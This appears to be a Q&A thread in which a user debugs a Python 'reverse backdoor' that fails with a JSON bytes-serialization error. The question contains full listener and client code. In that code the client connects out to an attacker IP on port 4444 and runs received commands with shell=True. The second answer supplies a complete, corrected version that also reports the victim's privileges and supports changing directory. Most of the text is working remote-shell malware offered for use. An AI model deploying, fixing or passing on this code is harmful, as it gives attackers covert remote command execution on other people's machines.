Object of type bytes is not JSON serializable

Question

I'm writing a client/server backdoor with Python 3 and get an error when running the code.

When I try to put some command on input I got the following error from the client side:

Traceback (most recent call last):   File "reverse_backdoor.py", line 36, in <module>
    my_backdoor.run()   File "reverse_backdoor.py", line 32, in run
    self.reliable_send(command_result)   File "reverse_backdoor.py", line 13, in reliable_send
    json_data = json.dumps(data)   File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)   File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)   File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
    return _iterencode(o, 0)   File "/usr/lib/python3.7/json/encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable

Here is my server code:

#!/usr/bin/python
import json
import socket

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connection")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))

    def relaible_receive(self):
        while True:
            try:
                json_data = self.connection.recv(4098)
                return json.loads(json_data.decode('utf-8'))
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        return self.relaible_receive()

    def run(self):
        while True:
            command = input('>>')
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("192.168.1.105", 4444)
my_listener.run()

And here is my client code:

#!/usr/bin/python
import socket
import subprocess
import json

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))

    def relaible_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(4098).decode('utf-8')
                return json.loads(json_data.encode('utf-8'))
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.relaible_receive()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)


my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()

I also tried changing this:

def relaible_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(4098).decode('utf-8')
            return json.loads(json_data.encode('utf-8'))
        except ValueError:
            continue

To this:

def relaible_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(4098)
            return json.loads(json_data.encode('utf-8'))
        except ValueError:
            continue

And I got the following error:

Traceback (most recent call last):   File "reverse_backdoor.py", line 36, in <module>
    my_backdoor.run()   File "reverse_backdoor.py", line 30, in run
    command = self.relaible_receive()   File "reverse_backdoor.py", line 20, in relaible_receive
    json_data = json_data + self.connection.recv(4098) TypeError: can only concatenate str (not "bytes") to str

Could someone tell me how I could fix this?

Answer 1

Just add .decode() to this line:-

json_data = json.dumps(data.decode())

and also do this

while True:
    try:
        json_data = json_data + self.connection.recv(4098)
        return json.loads(json_data)

make these changes to your original server as well, as client code is not in the changed code which you have done.

Answer 2

Server Code

# This is DD's Code
import json
import socket


class Listener:
    def __init__(self, bind_ip, bind_port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((bind_ip, bind_port))
        server.listen(0)
        print("[*] Listening on %s:%d" % (bind_ip, bind_port))
        self.connection, addr = server.accept()
        print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
        receive = self.connection.recv(1024)
        print("[+] This is " + receive.decode('utf 8'))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf 8'))

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(4096).decode('utf 8')
                return json.loads(json_data)
            except ValueError:
                continue

    def run_command(self):
        while True:
            command = input(">")
            command = command.split(" ")
            if command[0] == "exit":
                self.connection.close()
                exit()

            self.reliable_send(command)
            result = self.reliable_recv()
            print(result)


my_listener = Listener('192.168.43.127', 4444)
my_listener.run_command()

Client Code

#This is DD's Code
from socket import *
import subprocess
import json
import os


class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket(AF_INET, SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf 8'))

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode('utf 8')
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def run(self):
        privilege = subprocess.check_output('whoami', shell=True)
        self.connection.send(privilege)
        while True:
            command = self.reliable_recv()
            if command[0] == "exit":
                self.connection.close()
                exit()
            elif command[0] == "cd" and len(command) > 1:
                command_result = self.change_working_directory_to(command[1])
                self.reliable_send(command_result)
            else:
                command_result = self.execute_system_command(command)
                self.reliable_send(command_result.decode())


my_backdoor = Backdoor('192.168.43.127', 4444)
my_backdoor.run()